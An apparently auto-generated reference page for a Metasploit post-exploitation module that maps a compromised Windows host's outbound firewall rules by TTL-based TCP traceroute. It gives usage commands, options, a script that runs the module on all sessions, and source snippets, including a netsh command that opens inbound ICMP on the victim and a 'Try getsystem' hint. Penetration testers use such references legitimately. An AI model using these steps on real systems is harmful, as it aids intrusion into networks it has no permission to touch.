Windows Outbound-Filtering Rules - Metasploit


This page contains detailed information about how to use the post/windows/recon/outbound_ports metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Outbound-Filtering Rules
Module: post/windows/recon/outbound_ports
Source code: modules/post/windows/recon/outbound_ports.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module makes some kind of TCP traceroute to get outbound-filtering rules. It will try to make a TCP connection to a certain public IP address (this IP does not need to be under your control) using different TTL incremental values. This way if you get an answer (ICMP TTL time exceeded packet) from a public IP device you can infer that the destination port is allowed. Setting STOP to true the module will stop as soon as you reach a public IP (this will generate less noise in the network).

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/recon/outbound_ports

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/recon/outbound_ports
msf post(outbound_ports) > show options
    ... show and set options ...
msf post(outbound_ports) > set SESSION session-id
msf post(outbound_ports) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/recon/outbound_ports")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

  • ADDRESS: Destination IP address.

Go back to menu.

Msfconsole Usage


Here is how the windows/recon/outbound_ports post exploitation module looks in the msfconsole:

msf6 > use post/windows/recon/outbound_ports

msf6 post(windows/recon/outbound_ports) > show info

       Name: Windows Outbound-Filtering Rules
     Module: post/windows/recon/outbound_ports
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Borja Merino <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  ADDRESS                   yes       Destination IP address.
  HOPS     3                yes       Number of hops to get.
  MIN_TTL  1                yes       Starting TTL value.
  PORTS    80,443           yes       Ports to test (e.g. 80,443,100-110).
  SESSION                   yes       The session to run this module on.
  STOP     true             yes       Stop when it finds a public IP.
  TIMEOUT  3                yes       Timeout for the ICMP socket.

Description:
  This module makes some kind of TCP traceroute to get 
  outbound-filtering rules. It will try to make a TCP connection to a 
  certain public IP address (this IP does not need to be under your 
  control) using different TTL incremental values. This way if you get 
  an answer (ICMP TTL time exceeded packet) from a public IP device 
  you can infer that the destination port is allowed. Setting STOP to 
  true the module will stop as soon as you reach a public IP (this 
  will generate less noise in the network).

References:
  http://www.shelliscoming.com/2014/11/getting-outbound-filtering-rules-by.html

Module Options


This is a complete list of options available in the windows/recon/outbound_ports post exploitation module:

msf6 post(windows/recon/outbound_ports) > show options

Module options (post/windows/recon/outbound_ports):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   ADDRESS                   yes       Destination IP address.
   HOPS     3                yes       Number of hops to get.
   MIN_TTL  1                yes       Starting TTL value.
   PORTS    80,443           yes       Ports to test (e.g. 80,443,100-110).
   SESSION                   yes       The session to run this module on.
   STOP     true             yes       Stop when it finds a public IP.
   TIMEOUT  3                yes       Timeout for the ICMP socket.

Advanced Options


Here is a complete list of advanced options supported by the windows/recon/outbound_ports post exploitation module:

msf6 post(windows/recon/outbound_ports) > show advanced

Module advanced options (post/windows/recon/outbound_ports):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/recon/outbound_ports module can do:

msf6 post(windows/recon/outbound_ports) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/recon/outbound_ports post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/recon/outbound_ports) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

44:	    )
45:	  end
46:	
47:	  def icmp_setup
48:	    handler = client.railgun.ws2_32.socket("AF_INET", "SOCK_RAW", "IPPROTO_ICMP")
49:	    if handler['GetLastError'] == 0
50:	      vprint_good("ICMP raw socket created successfully")
51:	    else
52:	      print_error("There was an error setting the ICMP raw socket; GetLastError: #{handler['GetLastError']}")
53:	      return nil
54:	    end

There was an error setting the ICMP raw socket; GetLastError: <GETLASTERROR>


Here is a relevant code snippet related to the "There was an error setting the ICMP raw socket; GetLastError: <GETLASTERROR>" error message:

47:	  def icmp_setup
48:	    handler = client.railgun.ws2_32.socket("AF_INET", "SOCK_RAW", "IPPROTO_ICMP")
49:	    if handler['GetLastError'] == 0
50:	      vprint_good("ICMP raw socket created successfully")
51:	    else
52:	      print_error("There was an error setting the ICMP raw socket; GetLastError: #{handler['GetLastError']}")
53:	      return nil
54:	    end
55:	
56:	    r = client.railgun.ws2_32.bind(handler['return'], "\x02\x00\x00\x00" << Rex::Socket.addr_aton(session.session_host) << "\x00" * 8, 16)
57:	    if r['GetLastError'] == 0

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

52:	      print_error("There was an error setting the ICMP raw socket; GetLastError: #{handler['GetLastError']}")
53:	      return nil
54:	    end
55:	
56:	    r = client.railgun.ws2_32.bind(handler['return'], "\x02\x00\x00\x00" << Rex::Socket.addr_aton(session.session_host) << "\x00" * 8, 16)
57:	    if r['GetLastError'] == 0
58:	      vprint_good("ICMP socket successfully bound to #{session.session_host}")
59:	    else
60:	      print_error("There was an error binding the ICMP socket to #{session.session_host}; GetLastError: #{r['GetLastError']}")
61:	      return nil
62:	    end

There was an error binding the ICMP socket to <SESSION.SESSION_HOST>; GetLastError: <GETLASTERROR>


Here is a relevant code snippet related to the "There was an error binding the ICMP socket to <SESSION.SESSION_HOST>; GetLastError: <GETLASTERROR>" error message:

55:	
56:	    r = client.railgun.ws2_32.bind(handler['return'], "\x02\x00\x00\x00" << Rex::Socket.addr_aton(session.session_host) << "\x00" * 8, 16)
57:	    if r['GetLastError'] == 0
58:	      vprint_good("ICMP socket successfully bound to #{session.session_host}")
59:	    else
60:	      print_error("There was an error binding the ICMP socket to #{session.session_host}; GetLastError: #{r['GetLastError']}")
61:	      return nil
62:	    end
63:	
64:	    # int WSAIoctl(
65:	    # _In_   SOCKET s,

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

73:	    # _In_   LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
74:	    # );
75:	
76:	    sio_rcvall = 0x98000001
77:	    r = client.railgun.ws2_32.WSAIoctl(handler['return'], sio_rcvall, "\x01", 4, nil, 0, 4, nil, nil)
78:	    if r['GetLastError'] == 0
79:	      return handler['return']
80:	    else
81:	      print_error("There was an error calling WSAIoctl (ICMP raw socket); GetLastError: #{r['GetLastError']}")
82:	      return nil
83:	    end

There was an error calling WSAIoctl (ICMP raw socket); GetLastError: <GETLASTERROR>


Here is a relevant code snippet related to the "There was an error calling WSAIoctl (ICMP raw socket); GetLastError: <GETLASTERROR>" error message:

76:	    sio_rcvall = 0x98000001
77:	    r = client.railgun.ws2_32.WSAIoctl(handler['return'], sio_rcvall, "\x01", 4, nil, 0, 4, nil, nil)
78:	    if r['GetLastError'] == 0
79:	      return handler['return']
80:	    else
81:	      print_error("There was an error calling WSAIoctl (ICMP raw socket); GetLastError: #{r['GetLastError']}")
82:	      return nil
83:	    end
84:	  end
85:	
86:	  def tcp_setup(ttl)

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

83:	    end
84:	  end
85:	
86:	  def tcp_setup(ttl)
87:	    handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP')
88:	    if handler['GetLastError'] == 0
89:	      vprint_status('TCP socket created successfully')
90:	    else
91:	      print_error("There was an error setting the TCP socket; GetLastError: #{handler['GetLastError']}")
92:	      return nil
93:	    end

There was an error setting the TCP socket; GetLastError: <GETLASTERROR>


Here is a relevant code snippet related to the "There was an error setting the TCP socket; GetLastError: <GETLASTERROR>" error message:

86:	  def tcp_setup(ttl)
87:	    handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP')
88:	    if handler['GetLastError'] == 0
89:	      vprint_status('TCP socket created successfully')
90:	    else
91:	      print_error("There was an error setting the TCP socket; GetLastError: #{handler['GetLastError']}")
92:	      return nil
93:	    end
94:	
95:	    # 0x8004667E = FIONBIO
96:	    # Enable non-blocking mode when *argp (third parameter in ioctlsocket) is set to a nonzero value

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

94:	
95:	    # 0x8004667E = FIONBIO
96:	    # Enable non-blocking mode when *argp (third parameter in ioctlsocket) is set to a nonzero value
97:	    cmd = 0x8004667E
98:	    r = client.railgun.ws2_32.ioctlsocket(handler['return'], cmd, 1)
99:	    if r['GetLastError'] == 0
100:	      vprint_status('TCP socket successfully configured in non-blocking mode')
101:	    else
102:	      print_error("There was an error setting the TCP socket in non-blocking mode; GetLastError: #{r['GetLastError']}")
103:	      return nil
104:	    end

There was an error setting the TCP socket in non-blocking mode; GetLastError: <GETLASTERROR>


Here is a relevant code snippet related to the "There was an error setting the TCP socket in non-blocking mode; GetLastError: <GETLASTERROR>" error message:

97:	    cmd = 0x8004667E
98:	    r = client.railgun.ws2_32.ioctlsocket(handler['return'], cmd, 1)
99:	    if r['GetLastError'] == 0
100:	      vprint_status('TCP socket successfully configured in non-blocking mode')
101:	    else
102:	      print_error("There was an error setting the TCP socket in non-blocking mode; GetLastError: #{r['GetLastError']}")
103:	      return nil
104:	    end
105:	
106:	    # int setsockopt(
107:	    # _In_  SOCKET s,

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

111:	    # _In_  int optlen
112:	    # );
113:	    ipproto_ip = 0
114:	    ip_ttl = 4
115:	    r = client.railgun.ws2_32.setsockopt(handler['return'], ipproto_ip, ip_ttl, [ttl].pack('C'), 4)
116:	    if r['GetLastError'] == 0
117:	      vprint_status("TTL value successfully set to #{ttl}")
118:	      return handler['return']
119:	    else
120:	      print_error("There was an error setting the TTL value; GetLastError: #{r['GetLastError']}")
121:	      return nil

There was an error setting the TTL value; GetLastError: <GETLASTERROR>


Here is a relevant code snippet related to the "There was an error setting the TTL value; GetLastError: <GETLASTERROR>" error message:

115:	    r = client.railgun.ws2_32.setsockopt(handler['return'], ipproto_ip, ip_ttl, [ttl].pack('C'), 4)
116:	    if r['GetLastError'] == 0
117:	      vprint_status("TTL value successfully set to #{ttl}")
118:	      return handler['return']
119:	    else
120:	      print_error("There was an error setting the TTL value; GetLastError: #{r['GetLastError']}")
121:	      return nil
122:	    end
123:	  end
124:	
125:	  def connections(remote, dst_port, h_icmp, h_tcp, to)

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

128:	    sock_addr << Rex::Socket.addr_aton(remote)
129:	    sock_addr << "\x00" * 8
130:	    r = client.railgun.ws2_32.connect(h_tcp, sock_addr, 16)
131:	
132:	    # A GetLastError == 1035 is expected since the socket is set to non-blocking mode
133:	    unless r['GetLastError'] == 10035
134:	      print_error("There was an error creating the connection to the peer #{remote}; GetLastError: #{r['GetLastError']}")
135:	      return
136:	    end
137:	
138:	    from = ' ' * 16

There was an error creating the connection to the peer <REMOTE>; GetLastError: <GETLASTERROR>


Here is a relevant code snippet related to the "There was an error creating the connection to the peer <REMOTE>; GetLastError: <GETLASTERROR>" error message:

129:	    sock_addr << "\x00" * 8
130:	    r = client.railgun.ws2_32.connect(h_tcp, sock_addr, 16)
131:	
132:	    # A GetLastError == 1035 is expected since the socket is set to non-blocking mode
133:	    unless r['GetLastError'] == 10035
134:	      print_error("There was an error creating the connection to the peer #{remote}; GetLastError: #{r['GetLastError']}")
135:	      return
136:	    end
137:	
138:	    from = ' ' * 16
139:	

You don't have enough privileges. Try getsystem.


Here is a relevant code snippet related to the "You don't have enough privileges. Try getsystem." error message:

148:	    end
149:	  end
150:	
151:	  def run
152:	    unless is_admin?
153:	      print_error("You don't have enough privileges. Try getsystem.")
154:	      return
155:	    end
156:	
157:	    if sysinfo['OS'] =~ /XP/
158:	      print_error('Windows XP is not supported')

Windows XP is not supported


Here is a relevant code snippet related to the "Windows XP is not supported" error message:

153:	      print_error("You don't have enough privileges. Try getsystem.")
154:	      return
155:	    end
156:	
157:	    if sysinfo['OS'] =~ /XP/
158:	      print_error('Windows XP is not supported')
159:	      return
160:	    end
161:	
162:	    output = cmd_exec('netsh', ' advfirewall firewall add rule name="All ICMP v4" dir=in action=allow protocol=icmpv4:any,any')
163:	    print_status("ICMP firewall IN rule established: #{output}")

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


Borja Merino <bmerinofe[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.